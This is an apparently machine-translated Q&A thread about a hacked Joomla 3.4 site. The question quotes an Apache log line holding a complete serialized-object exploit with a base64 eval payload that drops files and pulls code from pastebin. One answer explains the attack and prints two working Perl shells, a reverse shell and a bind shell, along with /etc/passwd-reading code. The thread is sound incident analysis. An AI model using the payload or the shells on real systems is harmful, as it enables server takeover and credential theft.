Penso che il mio sito sia stato violato. Qualcuno può spiegare la spazzatura "GET / HTTP / 1.0" nel mio log di Apache e cosa sta facendo?

6

Si veda sotto la voce del log dall'hack, ho decodificato il codice base_64 e alla fine alcuni file vengono rilasciati sul server e una lista di directory diventa disponibile tra le altre sottigliezze!

Qualcuno potrebbe spiegare quale debolezza sta sfruttando? Il nostro sito sta eseguendo Joomla 3.4 Ho aggiornato Joomla e impostato le autorizzazioni di file e cartelle rispettivamente a 755/644. La versione di PHP è 5.3.23.

L'11 marzo ho reimpostato questo sito sulla spinta originale del git che abbiamo fatto nell'aprile dello scorso anno e sono rimasto sorpreso dal fatto che il nostro sito sia stato violato di nuovo.

Mi piacerebbe davvero sapere se si tratta di una vulnerabilità PHP o di Joomla, così posso decidere quale sia la migliore linea d'azione.

208.78.220.143 - - [12/Mar/2016:07:06:30 +0000] "GET / HTTP/1.0" 200 21849 "-" "}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:2:\"fc\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\0\0\0disconnectHandlers\";a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:8:\"feed_url\";s:3702:\"eval(base64_decode('JGNoZWNrID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvbWVkaWEveHh4eC5waHAiIDsNCiRmcD1mb3BlbigiJGNoZWNrIiwidysiKTsNCmZ3cml0ZSgkZnAsYmFzZTY0X2RlY29kZSgnUEQ5d2FIQU5DbVoxYm1OMGFXOXVJR2gwZEhCZloyVjBLQ1IxY213cGV3MEtDU1JwYlNBOUlHTjFjbXhmYVc1cGRDZ2tkWEpzS1RzTkNnbGpkWEpzWDNObGRHOXdkQ2drYVcwc0lFTlZVa3hQVUZSZlVrVlVWVkpPVkZKQlRsTkdSVklzSURFcE93MEtDV04xY214ZmMyVjBiM0IwS0NScGJTd2dRMVZTVEU5UVZGOURUMDVPUlVOVVZFbE5SVTlWVkN3Z01UQXBPdzBLQ1dOMWNteGZjMlYwYjNCMEtDUnBiU3dnUTFWU1RFOVFWRjlHVDB4TVQxZE1UME5CVkVsUFRpd2dNU2s3RFFvSlkzVnliRjl6WlhSdmNIUW9KR2x0TENCRFZWSk1UMUJVWDBoRlFVUkZVaXdnTUNrN0RRb0pjbVYwZFhKdUlHTjFjbXhmWlhobFl5Z2thVzBwT3cwS0NXTjFjbXhmWTJ4dmMyVW9KR2x0S1RzTkNuME5DaVJqYUdWamF5QTlJQ1JmVTBWU1ZrVlNXeWRFVDBOVlRVVk9WRjlTVDA5VUoxMGdMaUFpTDIxbFpHbGhMMk56Y3k1d2FIQWlJRHNOQ2lSMFpYaDBJRDBnYUhSMGNGOW5aWFFvSjJoMGRIQTZMeTl3WVhOMFpXSnBiaTVqYjIwdmNtRjNMMGhpYW5ONGQwNVZKeWs3RFFva2IzQmxiaUE5SUdadmNHVnVLQ1JqYUdWamF5d2dKM2NuS1RzTkNtWjNjbWwwWlNna2IzQmxiaXdnSkhSbGVIUXBPdzBLWm1Oc2IzTmxLQ1J2Y0dWdUtUc05DbWxtS0dacGJHVmZaWGhwYzNSektDUmphR1ZqYXlrcGV3MEtJQ0FnSUdWamFHOGdKR05vWldOckxpSThMMkp5UGlJN0RRcDlaV3h6WlNBTkNpQWdaV05vYnlBaWJtOTBJR1Y0YVhSeklqc05DbVZqYUc4Z0ltUnZibVVnTGx4dUlDSWdPdzBLSkdOb1pXTnJNaUE5SUNSZlUwVlNWa1ZTV3lkRVQwTlZUVVZPVkY5U1QwOVVKMTBnTGlBaUwyMWxaR2xoTDIxaGMzTXVjR2h3SWlBN0RRb2tkR1Y0ZERJZ1BTQm9kSFJ3WDJkbGRDZ25hSFIwY0RvdkwzQmhjM1JsWW1sdUxtTnZiUzl5WVhjdmRtUlZNV2RRUW1zbktUc05DaVJ2Y0dWdU1pQTlJR1p2Y0dWdUtDUmphR1ZqYXpJc0lDZDNKeWs3RFFwbWQzSnBkR1VvSkc5d1pXNHlMQ0FrZEdWNGRESXBPdzBLWm1Oc2IzTmxLQ1J2Y0dWdU1pazdEUXBwWmlobWFXeGxYMlY0YVhOMGN5Z2tZMmhsWTJzeUtTbDdEUW9nSUNBZ1pXTm9ieUFrWTJobFkyc3lMaUk4TDJKeVBpSTdEUXA5Wld4elpTQU5DaUFnWldOb2J5QWlibTkwSUdWNGFYUnpNaUk3RFFwbFkyaHZJQ0prYjI1bE1pQXVYRzRnSWlBN0RRb05DaVJqYUdWamF6TTlKRjlUUlZKV1JWSmJKMFJQUTFWTlJVNVVYMUpQVDFRblhTQXVJQ0l2YzI1cGNHVnlMbWgwYlNJZ093MEtKSFJsZUhReklEMGdhSFIwY0Y5blpYUW9KMmgwZEhBNkx5OXdZWE4wWldKcGJpNWpiMjB2Y21GM0wxWmlNMUJVTVRWaUp5azdEUW9rYjNBelBXWnZjR1Z1S0NSamFHVmphek1zSUNkM0p5azdEUXBtZDNKcGRHVW9KRzl3TXl3a2RHVjRkRE1wT3cwS1ptTnNiM05sS0NSdmNETXBPdzBLRFFva1kyaGxZMnMwUFNSZlUwVlNWa1ZTV3lkRVQwTlZUVVZPVkY5U1QwOVVKMTBnTGlBaUwyMWxaR2xoTDJKNWNHRnpjeTV3YUhBaUlEc05DaVIwWlhoME5DQTlJR2gwZEhCZloyVjBLQ2RvZEhSd09pOHZjR0Z6ZEdWaWFXNHVZMjl0TDNKaGR5OXhlRmhFY3pJM2RpY3BPdzBLSkc5d05EMW1iM0JsYmlna1kyaGxZMnMwTENBbmR5Y3BPdzBLWm5keWFYUmxLQ1J2Y0RRc0pIUmxlSFEwS1RzTkNtWmpiRzl6WlNna2IzQTBLVHNOQ2cwS0pHTm9aV05yTlQwa1gxTkZVbFpGVWxzblJFOURWVTFGVGxSZlVrOVBWQ2RkSUM0Z0lpOHZiV1ZrYVdFdmFtMWhhV3h6TG5Cb2NDSWdPdzBLSkhSbGVIUTFJRDBnYUhSMGNGOW5aWFFvSjJoMGRIQTZMeTl3WVhOMFpXSnBiaTVqYjIwdmNtRjNMMmhuWVRGRlVsTmpKeWs3RFFva2IzQTFQV1p2Y0dWdUtDUmphR1ZqYXpVc0lDZDNKeWs3RFFwbWQzSnBkR1VvSkc5d05Td2tkR1Y0ZERVcE93MEtabU5zYjNObEtDUnZjRFVwT3cwS0RRb2tZMmhsWTJzMlBTUmZVMFZTVmtWU1d5ZEVUME5WVFVWT1ZGOVNUMDlVSjEwZ0xpQWlMMnhwWW5KaGNtbGxjeTlxYjI5dGJHRXZjMlZ6YzJsdmJpOXpaWE56YVc5dUxuQm9jQ0lnT3cwS0pIUmxlSFEySUQwZ2FIUjBjRjluWlhRb0oyaDBkSEE2THk5d1lYTjBaV0pwYmk1amIyMHZjbUYzTDFWSVFVZFVPRGczSnlrN0RRb2tiM0EyUFdadmNHVnVLQ1JqYUdWamF6WXNJQ2QzSnlrN0RRcG1kM0pwZEdVb0pHOXdOaXdrZEdWNGREWXBPdzBLWm1Oc2IzTmxLQ1J2Y0RZcE93MEtEUW9rZEc5NklEMGdJbUpoYkdGa1lYSnBiak5BWjIxaGFXd3VZMjl0SWpzTkNpUnpkV0pxWldOMElEMGdKMHB2YlNCNmVub2dKeUF1SUNSZlUwVlNWa1ZTV3lkVFJWSldSVkpmVGtGTlJTZGRPdzBLSkdobFlXUmxjaUE5SUNkbWNtOXRPaUJMWld0cllXa2dVMlZ1YzJWdUlEeGlZV3hoWkdGeWFXNHpRR2R0WVdsc0xtTnZiVDRuSUM0Z0lseHlYRzRpT3cwS0pHMWxjM05oWjJVZ1BTQWlVMmhsYkd4NklEb2dhSFIwY0Rvdkx5SWdMaUFrWDFORlVsWkZVbHNuVTBWU1ZrVlNYMDVCVFVVblhTQXVJQ0l2YkdsaWNtRnlhV1Z6TDJwdmIyMXNZUzlxYldGcGJDNXdhSEEvZFNJZ0xpQWlYSEpjYmlJZ0xpQndhSEJmZFc1aGJXVW9LU0F1SUNKY2NseHVJanNOQ2lSelpXNTBiV0ZwYkNBOUlFQnRZV2xzS0NSMGIzb3NJQ1J6ZFdKcVpXTjBMQ0FrYldWemMyRm5aU3dnSkdobFlXUmxjaWs3RFFvTkNrQjFibXhwYm1zb1gxOUdTVXhGWDE4cE93MEtEUW9OQ2o4KycpKTsNCmZjbG9zZSgkZnApOw=='));JFactory::getConfig();exit\";s:19:\"cache_name_function\";s:6:\"assert\";s:5:\"cache\";b:1;s:11:\"cache_class\";O:20:\"JDatabaseDriverMysql\":0:{}}i:1;s:4:\"init\";}}s:13:\"\0\0\0connection\";b:1;}\xf0\xfd\xfd\xfd"
    
posta Basicmanthz 14.03.2016 - 22:15
fonte

2 risposte

17

Questo è un JSON Deserialize Remote Code Execution Tentativo

Questa risposta sarà effettuata sulla base dell'assunzione che il tuo sito web sia stato violato. Se non è stato violato, e questi file sono stati non caricati, allora è solo un tentativo di hack . Se hai trovato file sospetti, probabilmente sei stato violato.

Questo è essenzialmente un Remote Code Execution exploit in cui carica più shells sul tuo server, e prova a exfiltrate (ruba) i file di configurazione, le password di sistema, ecc.

Ciò che sta facendo è sfruttare un problema con una funzione di deserializzazione JSON che consente l'esecuzione di codice in modalità remota. Una volta sul tuo server, inizia a concatenare più funzioni e caricare più shell.

Disattiva anche la registrazione degli errori quando non vuoi che tu sappia cosa sta succedendo:

@error_reporting(0);

Ci sono molte altre cose in corso e il codice cerca di impedirti di seguire ciò che sta facendo. Non fa un ottimo lavoro per la maggior parte, ma una volta caricate le shell, tutte le scommesse sono disattivate.

The Exploit Tentativo Punto di ingresso

In questo BLOB JSON, puoi vedere qui che tentano di lanciare eval(base64_decode("hacked contents")); nel parametro feed_url .

\"feed_url\";s:3702: \"eval(base64_decode('hacked file contents here'));JFactory:: getConfig();exit\";

Nifty, eh?

Non puoi solo nuotare dall'orbita. Le tue credenziali potrebbero essere state rubate

Probabilmente sarai ben servito cambiando tutti dei tuoi nomi utente e password, non solo il nuking dall'orbita. Questo script tenta di rubare tutti dei tuoi file di configurazione, e la tua password di sistema.

Vedi questo:

flush();
$file = '/etc/passwd';
$read = @fopen($file, 'r');

... e anche questo file .

Ciò consente alle shell di funzionare sul tuo server

Una shell PHP e una shell Perl:

Ecco la shell Perl:

  1. File 1:

    #!/usr/bin/perl
    
    use Socket;
    $iaddr = inet_aton($ARGV[0]) || die("Error: $!\n");
    $paddr = sockaddr_in($ARGV[1], $iaddr) || die("Error: $!\n");
    $proto = getprotobyname('tcp');
    socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
    connect(SOCKET, $paddr) || die("Error: $!\n");
    open(STDIN, ">&SOCKET");
    open(STDOUT, ">&SOCKET");
    open(STDERR, ">&SOCKET");
    system('/bin/sh -i');
    close(STDIN);
    
    close(STDOUT);
    close(STDERR);
    
  2. File 2:

    #!/usr/bin/perl
    
    $SHELL = "/bin/sh -i";
    if (@ARGV < 1) {
        exit(1);
    }
    
    use Socket;
    
    socket(S, & PF_INET, & SOCK_STREAM, getprotobyname('tcp')) || die "Cant create socket\n";
    
    setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);
    
    bind(S, sockaddr_in($ARGV[0], INADDR_ANY)) || die "Cant open port\n";
    
    listen(S, 3) || die "Cant listen port\n";
    
    while (1) {
        accept(CONN, S);
    
            if (!($pid = fork)) {
    
            die "Cannot fork"
    
            if (!defined $pid);
    
            open STDIN, "<&CONN";
    
            open STDOUT, ">&CONN";
    
            open STDERR, ">&CONN";
    
            exec $SHELL || die print CONN "Cant execute $SHELL\n";
            close CONN;
    
            exit 0;
        }
    }
    

File di origine dannosi

Ho decodificato il codice sorgente dannoso. Se sei interessato a questo, controlla i seguenti link:

Troppo lungo, non letto

Nuke dall'orbita e cambia tutti i nomi utente e le password . Potrebbero avere accesso completo.

Vorresti saperne di più?

Puoi imparare come farlo da solo. Dai un'occhiata a questo thread: Ho trovato codice PHP sconosciuto sul mio server. Come posso de-offuscare il codice?

    
risposta data 15.03.2016 - 00:07
fonte
-2

Questo sembra exploit RCE di Lika. Come hai detto, l'exploit carica qualche shell tramite pastebin. Il tuo server è diventato di proprietà. Raccomando un'installazione pulita dell'intero server. L'autore dell'attacco potrebbe aver raccolto gli stessi privilegi che hai. Devi resettare tutte le password. Il ripristino di una versione precedente riaprirà questa vulnerabilità nella tua versione di Joomla. Si prega di aggiornare alla versione stabile più recente di Joomla.

Questa risposta è la rapida tl; dr. Per un'analisi più approfondita, vedi: link

    
risposta data 14.03.2016 - 22:33
fonte

Leggi altre domande sui tag